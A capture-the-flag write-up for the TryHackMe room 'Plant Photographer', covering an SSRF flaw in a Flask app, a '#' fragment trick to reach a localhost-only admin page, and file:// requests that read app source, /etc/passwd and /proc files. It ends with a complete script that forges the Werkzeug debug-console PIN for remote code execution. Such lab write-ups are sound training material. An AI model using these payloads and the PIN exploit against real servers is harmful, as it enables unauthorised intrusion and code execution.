TryHackMe: Plant Photographer
Plant Photographer started by exploiting an SSRF vulnerability in a Flask application to leak an API key and capture the first flag. We then used the same SSRF vulnerability to access an internal page and obtain another flag. Afterwards, by leveraging the same vulnerability for file disclosure, we were able to generate the Werkzeug debug PIN to achieve remote code execution (RCE), and complete the room.
Initial Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -T4 -n -sC -sV -Pn -p- 10.114.154.89
Nmap scan report for 10.114.154.89
Host is up (0.056s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 8e:e6:81:a0:84:18:3f:e2:13:72:78:51:67:02:fc:66 (RSA)
| 256 64:92:ce:88:9e:5f:af:f7:f0:17:00:d3:b8:19:d9:3b (ECDSA)
|_ 256 74:b0:f3:32:48:7d:9f:01:ef:7b:c8:48:e2:a2:c6:8d (ED25519)
80/tcp open http Werkzeug httpd 0.16.0 (Python 3.10.7)
|_http-title: Jay Green
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two open ports:
- 22 (
SSH) - 80 (
HTTP)
First Flag
Visiting http://10.114.154.89/, we see a personal portfolio website that appears to be a fairly static site.
One interesting thing to note is the Download Resume button, which links to:
1
http://10.114.154.89/download?server=secure-file-storage.com:8087&id=75482342
Clicking it returns a PDF containing a resume.
From the link, the server parameter immediately stands out, as it appears to specify where the file is downloaded from. We can start a listener on our machine and test this behavior by replacing the parameter value with our machine’s IP address.
Checking our listener confirms the presence of an SSRF vulnerability. Not only are we able to force the server to make a request to our machine, but the request also includes the API key flag in the headers. Additionally, the User-Agent header reveals that the application uses PycURL to perform the request.
1
2
3
4
5
6
7
8
$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.135.5] from (UNKNOWN) [10.114.154.89] 54196
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 192.168.135.5
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{[REDACTED]}
Second Flag
The second question tasks us with finding the flag in the admin section of the website, which we can find at http://10.114.154.89/admin. However, visiting it directly returns the message: Admin interface only available from localhost!!!
So, instead of trying to access it directly, we can attempt to access it via the SSRF vulnerability discovered earlier:
http://10.114.154.89/download?server=secure-file-storage.com:8087/admin&id=75482342
However this does not work, as we receive a 404 error in the response.
Simply changing the host in our attempt to our own server with the request:
http://10.114.154.89/download?server=192.168.135.5/admin&id=75482342
shows why this happens as the server appends /public-docs-k057230990384293/<id>.pdf to the server parameter before making the request, resulting in the following request:
1
2
3
4
$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.135.5] from (UNKNOWN) [10.114.154.89] 54842
GET /admin/public-docs-k057230990384293/75482342.pdf HTTP/1.1
Instead, also testing the id parameter interestingly causes an error due to the supplied value not being an integer, which exposes the Werkzeug debug page. This page not only leaks the application path (/usr/src/app/app.py), but also reveals snippets from the source code and examining the source confirms that the application uses PycURL and constructs the URL as <server>/public-docs-k057230990384293/<id>.pdf before making the request.
Knowing that if we can just get rid of anything appended to our supplied server parameter, we can gain full control over the URL used in the request. We can come up with the idea to end our payload with # (URL-encoded as %23), which causes everything appended after it to be interpreted as a URI fragment, resulting in:
<server>#/public-docs-k057230990384293/<id>.pdf
With the request:
http://10.114.154.89/download?server=secure-file-storage.com:8087/admin%23&id=1
the constructed URL becomes:
secure-file-storage.com:8087/admin#/public-docs-k057230990384293/1.pdf
And due to the #, /public-docs-k057230990384293/1.pdf would be interpreted as the fragment portion of the URL, meaning the actual request is made only to:
secure-file-storage.com:8087/admin
Doing this we can see this works successfully, allowing us to obtain a PDF containing the second flag.
Third Flag
The third flag tasks us with reading a file present on the file system. To achieve this, we can make use of the file:// protocol, which curl has no problem handling, as shown below:
1
2
$ curl -s 'file:///etc/hostname'
kali
Not only that, but our # trick also works with the file:// protocol:
1
2
$ curl -s 'file:///etc/hostname#doesnotmatter'
kali
Although we are able to read files from the server this way, we do not yet know the filename of the flag. Instead, we can start by reading the application source code located at /usr/src/app/app.py, which we previously discovered from the error page.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ curl -s 'http://10.114.154.89/download?server=file:///usr/src/app/app.py%23&id=1' -o-
import os
import pycurl
from io import BytesIO
from flask import Flask, send_from_directory, render_template, request, redirect, url_for, Response
app = Flask(__name__, static_url_path='/static')
@app.route("/")
def index():
return render_template("index.html")
@app.route("/admin")
def admin():
if request.remote_addr == '127.0.0.1':
return send_from_directory('private-docs', 'flag.pdf')
return "Admin interface only available from localhost!!!"
@app.route("/download")
def download():
file_id = request.args.get('id','')
server = request.args.get('server','')
if file_id!='':
filename = str(int(file_id)) + '.pdf'
response_buf = BytesIO()
crl = pycurl.Curl()
crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
crl.setopt(crl.WRITEDATA, response_buf)
crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{REDACTED}'])
crl.perform()
crl.close()
file_data = response_buf.getvalue()
resp = Response(file_data)
resp.headers['Content-Type'] = 'application/pdf'
resp.headers['Content-Disposition'] = 'attachment'
return resp
else:
return 'No file selected... '
@app.route('/public-docs-k057230990384293/<path:path>')
def public_docs(path):
return send_from_directory('public-docs', path)
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8087, debug=True)
Examining the source code, one detail that stands out is that debug is set to True when running the server. This means we can access the Werkzeug Console at:
http://10.114.154.89/console
which allows execution of Python code. However, this functionality is protected by a PIN.
The important detail about the Werkzeug Console PIN is that it is deterministically generated using information gathered from the server itself; data that we can also retrieve using our file disclosure vulnerability. A great HackTricks article explains this process in detail and also provides code that can be used to generate the PIN:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
For this code to work, we only need to set the correct values for the probably_public_bits and private_bits variables.
First, we start with the probably_public_bits, specifically the username.
Reading the /proc/self/status file shows that the process is running with UID 0, and checking /etc/passwd confirms that this UID belongs to the root user.
1
2
3
4
5
6
7
8
$ curl -s 'http://10.114.154.89/download?server=file:///proc/self/status%23&id=1' -o-
...
Uid: 0 0 0 0
...
$ curl -s 'http://10.114.154.89/download?server=file:///etc/passwd%23&id=1' -o-
root:x:0:0:root:/root:/bin/ash
...
For the getattr(mod, '__file__', None) value, we previously discovered from the error page that it is:
/usr/local/lib/python3.10/site-packages/flask/app.py
The values for modname and getattr(app, '__name__', getattr(app.__class__, '__name__')) are already correct, so the probably_public_bits become:
1
2
3
4
5
6
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
Next, we move on to the private_bits. The value returned by str(uuid.getnode()) corresponds to the MAC address of the machine expressed in decimal.
First, we obtain the network interface name (eth0) from /proc/net/arp:
1
2
3
$ curl -s 'http://10.114.154.89/download?server=file:///proc/net/arp%23&id=1' -o-
IP address HW type Flags HW address Mask Device
172.20.0.1 0x1 0x2 02:42:59:ed:f4:13 * eth0
Then, by reading /sys/class/net/eth0/address, we obtain the MAC address:
1
2
$ curl -s 'http://10.114.154.89/download?server=file:///sys/class/net/eth0/address%23&id=1' -o-
02:42:ac:14:00:02
We convert it to decimal:
1
2
$ python3 -c 'print(int("02:42:ac:14:00:02".replace(":",""),16))'
2485378088962
Lastly, we determine the machine ID. As explained in HackTricks article, get_machine_id() concatenates data from /etc/machine-id or /proc/sys/kernel/random/boot_id with the portion of first line from the /proc/self/cgroup after the final /. The relevant part of the Werkzeug source code is also shown as below in the HackTricks article:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
The /etc/machine-id file is not present on the target, so we can skip it exactly as in the source code:
1
2
3
4
$ curl -s 'http://10.114.154.89/download?server=file:///etc/machine-id%23&id=1' -o- | tail -n 3
pycurl.error: (37, "Couldn't open file /etc/machine-id")
-->
Next, we read /proc/sys/kernel/random/boot_id to obtain the boot ID:
1
2
$ curl -s 'http://10.114.154.89/download?server=file:///proc/sys/kernel/random/boot_id%23&id=1' -o- | tail -n 3
4183895a-db64-4bc2-a0bc-3b4264566594
Finally, we read /proc/self/cgroup and extract everything after the last / on the first line:
1
2
$ curl -s 'http://10.114.154.89/download?server=file:///proc/self/cgroup%23&id=1' -o- | head -n 1
12:cpuset:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
With this information, we can construct the private_bits as follows:
1
2
3
4
private_bits = [
'2485378088962', # str(uuid.getnode()), /sys/class/net/eth0/address
'4183895a-db64-4bc2-a0bc-3b426456659477c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca' # get_machine_id()
]
We then replace these values in the provided script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378088962', # str(uuid.getnode()), /sys/class/net/eth0/address
'4183895a-db64-4bc2-a0bc-3b426456659477c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca' # get_machine_id()
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running the script successfully generates a Werkzeug console PIN:
1
2
$ python3 exploit.py
418-020-555
However, trying it on the /console path shows that this PIN does not work.
Reviewing the requests made to the target, we can see from the Server response header that the application is running Werkzeug/0.16.0, which was released in 2019 and is quite old, and that the method Werkzeug uses to generate the debug PIN has changed significantly across versions.
To understand how Werkzeug version 0.16.0 specifically generates the PIN, we can either read /usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py directly from the server or review the source code on GitHub. Doing so reveals two crucial differences compared to how we previously generated the PIN code.
First, the way the machine ID is constructed differs. Unlike the method described in the HackTricks article, version 0.16.0 does not concatenate data from multiple files. Instead, if /proc/self/cgroup can be read successfully, it simply uses the value from it as the machine ID:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def get_machine_id():
global _machine_id
rv = _machine_id
if rv is not None:
return rv
def _generate():
# docker containers share the same machine id, get the
# container id instead
try:
with open("/proc/self/cgroup") as f:
value = f.readline()
except IOError:
pass
else:
value = value.strip().partition("/docker/")[2]
if value:
return value
...
_machine_id = rv = _generate()
return rv
In our case, this means that the machine ID is simply: 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
1
2
$ curl -s 'http://10.114.154.89/download?server=file:///proc/self/cgroup%23&id=1' -o- | head -n 1
12:cpuset:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
We must therefore correct our private_bits as follows:
1
2
3
4
private_bits = [
'2485378088962', # str(uuid.getnode()), /sys/class/net/eth0/address
'77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca' # get_machine_id()
]
Second, although the HackTricks article mentions that older versions use MD5 instead of SHA1, inspecting the 0.16.0 source code confirms that this is indeed the case:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
...
Therefore, we must also update our exploit code accordingly:
1
2
h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
# h = hashlib.sha1()
With these corrections applied, the full exploit code becomes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378088962', # str(uuid.getnode()), /sys/class/net/eth0/address
'77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca' # get_machine_id()
]
h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
# h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running the script now produces a different PIN, as expected:
1
2
$ python3 exploit.py
110-688-511
Testing this PIN at http://10.114.154.89/console shows that it works, allowing us to execute Python code through the Werkzeug console. Using the os module, we can easily achieve command execution, which allows us to discover the filename containing the flag and read it, successfully completing the room.













